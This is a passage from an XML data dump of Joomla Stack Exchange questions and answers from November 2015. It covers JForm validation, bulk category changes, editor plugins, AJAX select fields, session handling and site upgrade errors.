hint=&quot;Surname&quot;&#xA;               description=&quot;JGLOBAL_FIELD_ID_DESC&quot; filter=&quot;string&quot; required=&quot;true&quot; /&amp;gt;&#xA;        &amp;lt;field name=&quot;cellphone&quot; type=&quot;text&quot; hiddenLabel=&quot;true&quot; class=&quot;input-block validate required&quot;&#xA;               hint=&quot;Cellphone number&quot; required=&quot;true&quot; /&amp;gt;&#xA;        &amp;lt;field name=&quot;email&quot; type=&quot;text&quot; hiddenLabel=&quot;true&quot; class=&quot;input-block  validate required validate-email&quot;&#xA;               hint=&quot;Email address&quot; filter=&quot;string&quot; required=&quot;true&quot; /&amp;gt;&#xA;        &amp;lt;field name=&quot;membership_number&quot; type=&quot;text&quot; hiddenLabel=&quot;true&quot; class=&quot;input-block validate required&quot;&#xA;               hint=&quot;Membership number&quot;/&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And my form HTML is rendered with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;pb-apply-lead-form&quot; action=&quot;&amp;lt;?php echo JRoute::_('index.php'); ?&amp;gt;&quot; method=&quot;post&quot; class=&quot;form-validate&quot;&amp;gt;&#xA;    &amp;lt;fieldset class=&quot;pb-apply-lead-fieldset&quot;&amp;gt;&#xA;        &amp;lt;?php&#xA;        # Load keep-alive, will prevent form from expiring&#xA;        JHtml::_('behavior.keepalive');&#xA;        JHtml::_('behavior.tooltip');&#xA;&#xA;        if (J33)&#xA;            JHtml::_('behavior.formvalidation'); // J!3.3&#xA;&#xA;        if (J34)&#xA;            JHtml::_('behavior.formvalidator'); // J!3.4&#xA;&#xA;        /** @var JForm $lead_form */&#xA;        $lead_form = JForm::getInstance('lead', JPATH_COMPONENT . '/models/forms/lead.xml');&#xA;        $fieldset  = $lead_form-&amp;gt;getFieldsets();&#xA;        ?&amp;gt;&#xA;        &amp;lt;div class=&quot;pb-title-container&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;&amp;lt;?php echo $fieldset['lead']-&amp;gt;label; ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;h4&amp;gt;&amp;lt;?php echo $fieldset['lead']-&amp;gt;description; ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;form-fields&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                &amp;lt;?php&#xA;                # Render out fieldset, use override for fields provided in layouts&#xA;                echo $lead_form-&amp;gt;renderFieldset('lead');&#xA;                ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;form-button&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;&amp;lt;?php echo JText::_('COM_BULKBUYER_VIEW_APPLY_FORM_BUTTON_SUBMIT'); ?&amp;gt;&quot; class=&quot;validate btn btn-primary&quot;/&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;option&quot; value=&quot;com_bulkbuyer&quot;/&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;apply.submitlead&quot;/&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;return&quot; value=&quot;&amp;lt;?php echo JUri::current(); ?&amp;gt;&quot;/&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;id&quot; value=&quot;&amp;lt;?php echo $item-&amp;gt;id; ?&amp;gt;&quot;/&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help.&lt;/p&gt;&#xA;" OwnerUserId="1803" LastActivityDate="2015-11-13T00:13:03.937" Title="Using JHtml::_('behavior.formvalidator') in JForm gives empty error messages" Tags="|joomla-3.4|jform|validation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14271" PostTypeId="1" AcceptedAnswerId="14283" CreationDate="2015-11-12T11:23:20.750" Score="2" ViewCount="80" Body="&lt;p&gt;I need to change the category of around 100 articles from CatA with id 1 to CatB with id 2. Both categories are created and there are 100 Menu Items that point to the Articles currently in Category A. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since changing all of them manually will take a lot more than a simple MySQL query to update the com_content table; I was thinking of doing it but my concern is whether this will affect the integrity of assets table in any way. The permission level of CatA and CatB are the same.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-11-12T23:58:07.593" Title="Will changing Article Category in Bulk with MySQL affect the integrity of assets table?" Tags="|mysql|category|permissions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14272" PostTypeId="1" AcceptedAnswerId="14343" CreationDate="2015-11-12T14:17:41.993" Score="0" ViewCount="1247" Body="&lt;p&gt;It is possible to create library package with namespace as below?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;namespace Main{&#xA;  class PrefixFolderLib1{&#xA;    //functions&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure how the JLoader will understand the namespace.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-11-17T13:52:08.317" Title="Is it possbile to create custom library with namespace" Tags="|joomla-3.x|libraries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14273" PostTypeId="1" AcceptedAnswerId="14274" CreationDate="2015-11-12T14:18:38.593" Score="3" ViewCount="593" Body="&lt;p&gt;Is it possible to switch the current editor &lt;strong&gt;while&lt;/strong&gt; I am editing an article? I have tried &lt;a href=&quot;http://extensions.joomla.org/extension/switch-editor&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;switch-editor&lt;/code&gt;&lt;/a&gt; and that works nice, but when I use it while I am editing an article, then I still need to close and reopen the article for the switch to take effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for a solution that allows me switching while I am in the edit view of an article.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2015-11-13T21:04:32.360" Title="Switching the editor while editing an article?" Tags="|editor|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14274" PostTypeId="2" ParentId="14273" CreationDate="2015-11-12T15:11:05.187" Score="2" Body="&lt;p&gt;If it's simply syntax highlighting and pretty print for HTML, then Codemirror would be best for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If did find a plugin called &lt;a href=&quot;http://extensions.joomla.org/extension/editor-switcher&quot; rel=&quot;nofollow&quot;&gt;Editor Switcher&lt;/a&gt; than allows you to switch whilst editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once installed, enable the plugin. Then go to your Joomla Global Configuration and set the default editor to Editor Switcher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, that before switching, please save your changes as it refreshes the page. By default, it will come up with a confirmation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="366" LastEditDate="2015-11-13T11:08:30.063" LastActivityDate="2015-11-13T11:08:30.063" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14275" PostTypeId="1" CreationDate="2015-11-12T16:25:52.020" Score="2" ViewCount="4096" Body="&lt;p&gt;So my predicament is that I am using Joomla, and inside of my articles I am using the Sourcerer plug-in so I can use PHP inside of my articles.  So far everything has been pretty simple--I post form data to a PHP script and the queries are executive.  Nothing special.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However; I would like to post data from one Joomla article, and get that data in another.  Ie.  Select a user in a form in one article, post that data, redirect to another article, and get the previously posted data and put the information in a table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't need to be an article--even a custom HTML or 3rd party module would work; but so far I haven't had much luck in the way of finding something suitable.  I'm just trying to avoid having a completely separate page for this thing, and I'd like to keep the layout of the website as uniform as possible.&lt;/p&gt;&#xA;" OwnerUserId="7268" LastActivityDate="2016-02-17T09:48:18.020" Title="Using POST and GET variables inside of Joomla" Tags="|php|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14276" PostTypeId="1" AcceptedAnswerId="14277" CreationDate="2015-11-12T16:30:13.453" Score="3" ViewCount="506" Body="&lt;p&gt;In the administrator backend of Joomla each select box is automatically styled with the Chosen.js plugin. But some buttons are styled with Bootstrap. Is there a way that I can make the Select element look like a bootstrap dropdown?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do I need this? For example in the article edit more there are several button at the bottom (like 'Article', 'Image' 'Page Break', and 'Read More'). I use a plugin that added a select button next to those buttons and the heigth of the chosen button is significantly lower than that of the bootstrap buttons. See this image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PL5NU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PL5NU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to have this dropdown look more like the other button next to it. Since the code only adds a &lt;code&gt;select&lt;/code&gt; element and chosen.js generates additional dom elements from that I don't know how I can adjust that style without affecting every other select element on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am curious if there is an easy solution, or is this maybe a known problem of Joomla?&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditDate="2015-11-12T17:10:23.833" LastActivityDate="2015-11-12T17:10:23.833" Title="Style select button like bootstrap 2.3 instead of chosen.js" Tags="|bootstrap|twitter-bootstrap-2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14277" PostTypeId="2" ParentId="14276" CreationDate="2015-11-12T16:56:40.060" Score="2" Body="&lt;p&gt;You will need to open the following file:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;plugins/editors/switcher/switcher.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Then go to line &lt;strong&gt;180&lt;/strong&gt;, where you'll see this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;. '&amp;lt;div id=&amp;quot;switcherSelector&amp;quot; style=&amp;quot;vertical-align:middle;margin:0 0 0 5px;display:inline-block;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; id=&amp;quot;editorswitcher-currentvalue&amp;quot; value=&amp;quot;'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which you need to replace with this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;. '&amp;lt;div id=&amp;quot;switcherSelector&amp;quot; class=&amp;quot;btn-toolbar&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; id=&amp;quot;editorswitcher-currentvalue&amp;quot; value=&amp;quot;'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Then online &lt;strong&gt;190&lt;/strong&gt;, you will see the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getDocument()-&amp;gt;addScriptDeclaration($js);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Directly below this, add the following code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getDocument()-&amp;gt;addStyleDeclaration('&#xA;    #switcherSelector { display: inline-block; margin-left: 5px; }&#xA;    #switcherSelector .chzn-container-single .chzn-single { height: 26px; line-height: 26px; }&#xA;    #switcherSelector .chzn-container-single .chzn-single div { top: 2px; }&#xA;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Result:&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tv7lR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tv7lR.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-11-12T16:56:40.060" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14278" PostTypeId="2" ParentId="14249" CreationDate="2015-11-12T18:58:04.203" Score="1" Body="&lt;p&gt;I believe this is a bug in Joomla.  The Tiny MCE plugin defaults 550px as height in their plugin parameters and that overrides the height definition in the XML form.  I made the below 2 core changes to make it work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit /plugins/timymce/tinymce.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the default value as '' for the variable 'html_height'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;html_height&quot; type=&quot;text&quot;&#xA;  default=&quot;&quot;&#xA;  description=&quot;PLG_TINY_FIELD_HTMLHEIGHT_DESC&quot;&#xA;  label=&quot;PLG_TINY_FIELD_HTMLHEIGHT_LABEL&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit the /plugins/tinymce/tinymce.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search for the value 550 and change as below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$html_height = $this-&amp;gt;params-&amp;gt;get('html_height', '');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After doing this change the height is taken from my XML form.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-11-12T18:58:04.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14279" PostTypeId="1" AcceptedAnswerId="14282" CreationDate="2015-11-12T20:27:08.930" Score="2" ViewCount="87" Body="&lt;p&gt;Recently I received warning from my hosting provider that a couple of suspicious e-mails were sent from one J! instance. Listing of recipients also contained some legitimate addresses of related J! users. How can I establish simple logging of e-mails being sent out? I just need 'To' address, Subject and maybe first 100 characters of message body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an extension for that or can this be easily achieved by adding some line into one of methods in &lt;code&gt;libraries/joomla/mail/mail.php&lt;/code&gt;? I'm not experienced with J! internals&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;whether there is a central mailing method (or two) where logging can be placed and&lt;/li&gt;&#xA;&lt;li&gt;which logging method to call.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2015-11-12T21:14:04.973" LastActivityDate="2015-11-12T23:50:13.450" Title="Auditing sent e-mails" Tags="|emails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14280" PostTypeId="1" AcceptedAnswerId="14281" CreationDate="2015-11-12T22:48:56.430" Score="2" ViewCount="2196" Body="&lt;p&gt;Basically I am trying to load a front-end form select field via jQuery AJAX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The XML form field is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;student_ids&quot;&#xA;  type=&quot;list&quot;&#xA;  required=&quot;true&quot;&#xA;  label=&quot;Select Students&quot;&#xA;  multiple=&quot;multiple&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The field displayed in the form with empty values since I haven't provided any options.  The options are added while selecting an another select via jQuery Ajax.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery.each(items, function (i, item) {&#xA;  jQuery('#jform_student_ids').append(jQuery('&amp;lt;option&amp;gt;', { &#xA;    value: item['id'],&#xA;    text : item['value'] &#xA;  }));&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The source generated as below with the added options.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;  &amp;lt;select id=&quot;jform_student_ids&quot; name=&quot;jform[student_ids][]&quot; class=&quot;required chzn-done&quot; multiple=&quot;&quot; required=&quot;required&quot; aria-required=&quot;true&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;10&quot;&amp;gt;Student 1 [STU0000006]&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;11&quot;&amp;gt;New Student [STU0000007]&amp;lt;/option&amp;gt;&#xA;  &amp;lt;/select&amp;gt;&#xA;  &amp;lt;div class=&quot;chzn-container chzn-container-multi&quot; style=&quot;width: 220px;&quot; title=&quot;&quot; id=&quot;jform_student_ids_chzn&quot;&amp;gt;&#xA;    &amp;lt;ul class=&quot;chzn-choices&quot;&amp;gt;&#xA;      &amp;lt;li class=&quot;search-field&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; value=&quot;Select some options&quot; class=&quot;default&quot; autocomplete=&quot;off&quot; style=&quot;width: 144px;&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;div class=&quot;chzn-drop&quot;&amp;gt;&#xA;      &amp;lt;ul class=&quot;chzn-results&quot;&amp;gt;&amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However the form doesn't show the added items in the multiselect box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gDnZH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gDnZH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-11-13T09:11:05.557" Title="Loading the options of a select form field via jQuery Ajax" Tags="|joomla-3.x|jform|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14281" PostTypeId="2" ParentId="14280" CreationDate="2015-11-12T23:24:30.197" Score="2" Body="&lt;p&gt;If I rightly remember, you need to update it if any dynamic changes are made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do so with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#jform_student_ids').trigger(&quot;liszt:updated&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="2239" LastEditDate="2015-11-13T09:11:05.557" LastActivityDate="2015-11-13T09:11:05.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14282" PostTypeId="2" ParentId="14279" CreationDate="2015-11-12T23:50:13.450" Score="1" Body="&lt;p&gt;You would need to Create a new Joomla! Plugin to override/intercept the mailer plugin. At present there isn't one, and I do believe there should be a Joomla! mailer component which allows you to see what/who/when/where mail was sent on a configurable basis of course!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla! sends mail through JMail! so you would need to test if send() is true and if so, update you own database table with your desired data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, see:&#xA;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JMail.html&quot; rel=&quot;nofollow&quot;&gt;https://api.joomla.org/cms-3/classes/JMail.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the API of JMail&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And &#xA;&lt;a href=&quot;https://gist.github.com/dongilbert/3237387&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/dongilbert/3237387&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For overriding core Joomla! Classes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also find:&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For creating plugins if you are not familiar with the internal structure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most components sending emails do contain a list of emails and if they were or were not sent, like Easyblog. &lt;/p&gt;&#xA;" OwnerUserId="7212" LastActivityDate="2015-11-12T23:50:13.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14283" PostTypeId="2" ParentId="14271" CreationDate="2015-11-12T23:58:07.593" Score="4" Body="&lt;p&gt;Yes it will. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead go to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla! Administrator&#xA;-&gt; Content&#xA;-&gt; Articles&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click the tick box to tick all article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then click 'Batch' up the top. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To Move or Copy your selection please select a Category.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Select your new category, make sure 'Move' is selected and then click Process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will do it all for you and update the relevant category and assets table/row. &lt;/p&gt;&#xA;" OwnerUserId="7212" LastActivityDate="2015-11-12T23:58:07.593" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14284" PostTypeId="2" ParentId="14275" CreationDate="2015-11-13T00:02:26.900" Score="1" Body="&lt;p&gt;Use Sessions Vars. As Sourcerer allows you to run PHP withinside an article see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/JFactory/getSession&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/JFactory/getSession&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set the session, for the current user. Store the variable and then on return to the new page get it if it exists. &lt;/p&gt;&#xA;" OwnerUserId="7212" LastActivityDate="2015-11-13T00:02:26.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14285" PostTypeId="2" ParentId="14270" CreationDate="2015-11-13T00:13:03.937" Score="2" Body="&lt;p&gt;The problem is you haven't set the Error messages, so no error message is shown. You need to include:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;message=&quot;This field is required!&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You were using description=&quot;&quot; and this is shown in the tooltips of the field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your code becomes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;form class=&quot;form-validate&quot;&amp;gt;&#xA;    &amp;lt;fieldset name=&quot;lead&quot; label=&quot;Apply now!&quot; message=&quot;Complete the form below to receive your unique code&quot;&amp;gt;&#xA;        &amp;lt;field name=&quot;name&quot; type=&quot;text&quot; hiddenLabel=&quot;true&quot; class=&quot;input-block validate required&quot; hint=&quot;Name&quot;&#xA;               message=&quot;Your full name&quot; label=&quot;Name&quot; filter=&quot;string&quot; required=&quot;true&quot; /&amp;gt;&#xA;        &amp;lt;field name=&quot;surname&quot; type=&quot;text&quot; hiddenLabel=&quot;true&quot; class=&quot;input-block validate required&quot; hint=&quot;Surname&quot;&#xA;               message=&quot;JGLOBAL_FIELD_ID_DESC&quot; filter=&quot;string&quot; required=&quot;true&quot; /&amp;gt;&#xA;        &amp;lt;field name=&quot;cellphone&quot; type=&quot;text&quot; hiddenLabel=&quot;true&quot; class=&quot;input-block validate required&quot;&#xA;               hint=&quot;Cellphone number&quot; required=&quot;true&quot; /&amp;gt;&#xA;        &amp;lt;field name=&quot;email&quot; type=&quot;text&quot; hiddenLabel=&quot;true&quot; class=&quot;input-block  validate required validate-email&quot;&#xA;               hint=&quot;Email address&quot; filter=&quot;string&quot; required=&quot;true&quot; /&amp;gt;&#xA;        &amp;lt;field name=&quot;membership_number&quot; type=&quot;text&quot; hiddenLabel=&quot;true&quot; class=&quot;input-block validate required&quot;&#xA;               hint=&quot;Membership number&quot;/&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See:&#xA;&lt;a href=&quot;https://docs.joomla.org/Text_form_field_type&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Text_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more usage on JForm Text fields.&lt;/p&gt;&#xA;" OwnerUserId="7212" LastActivityDate="2015-11-13T00:13:03.937" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14287" PostTypeId="1" CreationDate="2015-11-13T08:46:22.853" Score="1" ViewCount="199" Body="&lt;p&gt;I'm using below code for getting session in my Joomla website from other application&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;session_start();&#xA;&#xA;if (isset($_POST[&quot;acode&quot;]) &amp;amp;&amp;amp; strlen(trim($_POST[&quot;acode&quot;]))!=0)&#xA;{&#xA;    $_SESSION[&quot;bcode&quot;] = $_POST[&quot;acode&quot;];&#xA;}&#xA;else if (isset($_POST[&quot;bcode&quot;]) &amp;amp;&amp;amp; strlen(trim($_POST[&quot;bcode&quot;]))!=0)&#xA;{&#xA;    $_SESSION[&quot;bcode&quot;] = $_POST[&quot;bcode&quot;];&#xA;}&#xA;else if (isset($_POST[&quot;ccode&quot;]) &amp;amp;&amp;amp; strlen(trim($_POST[&quot;ccode&quot;]))!=0)&#xA;{&#xA;    $_SESSION[&quot;ccode&quot;] = $_POST[&quot;ccode&quot;];&#xA;}else //if(count($_SESSION)==0)&#xA;    {&#xA;     header(&quot;Location: http://www.xyx.in/session_expired.php&quot;);&#xA;    }&#xA;&#xA;$_SESSION[&quot;desk&quot;] = &quot;509&quot;;&#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I want the scenario that no-one would be able to see the website without logging in from the desk, the scenario is some what set, like when I type my sites path it shows session expired error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now after logging from the desk, the website is getting the session, but on clicking the submenus the session expired page shows up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried every thing to my knowledge, but can't find the proper solution&lt;/p&gt;&#xA;" OwnerUserId="3640" LastEditorUserId="168" LastEditDate="2015-11-13T09:23:04.320" LastActivityDate="2015-11-16T08:55:17.670" Title="Maintain session in joomla" Tags="|session|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14288" PostTypeId="1" CreationDate="2015-11-13T09:16:24.097" Score="1" ViewCount="422" Body="&lt;p&gt;I want to update my &lt;a href=&quot;http://www.bioproduction.dk/testversion/index.php?lang=da&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla site&lt;/a&gt; from 2.5 to 3.x.&lt;/p&gt;&#xA;&lt;p&gt;First I updated all the extensions whith available updates, then I ran the Joomla update. After updating site I got the following errors:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Strict Standards: Only variables should be assigned by reference in /home/bioproduct/domains/bioproduction.dk/public_html/testversion/plugins/system/truetypography/truetypography.php on line 50&lt;/p&gt;&#xA;&lt;p&gt;Warning: require(/home/bioproduct/domains/bioproduction.dk/public_html/testversion/libraries/joomla/application/component/model.php): failed to open stream: No such file or directory in /home/bioproduct/domains/bioproduction.dk/public_html/testversion/administrator/components/com_virtuemart/helpers/vmmodel.php on line 24&lt;/p&gt;&#xA;&lt;p&gt;Fatal error: require(): Failed opening required '/home/bioproduct/domains/bioproduction.dk/public_html/testversion/libraries/joomla/application/component/model.php' (include_path='.:/usr/local/lib/php') in /home/bioproduct/domains/bioproduction.dk/public_html/testversion/administrator/components/com_virtuemart/helpers/vmmodel.php on line 24&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In configuration the &lt;code&gt;public $error_reporting = 'maximum';&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="5195" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-11-15T11:47:00.310" Title="Migrating Site from 2.5 to 3.4" Tags="|joomla-2.5|joomla-3.4|virtuemart|" AnswerCount="2" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
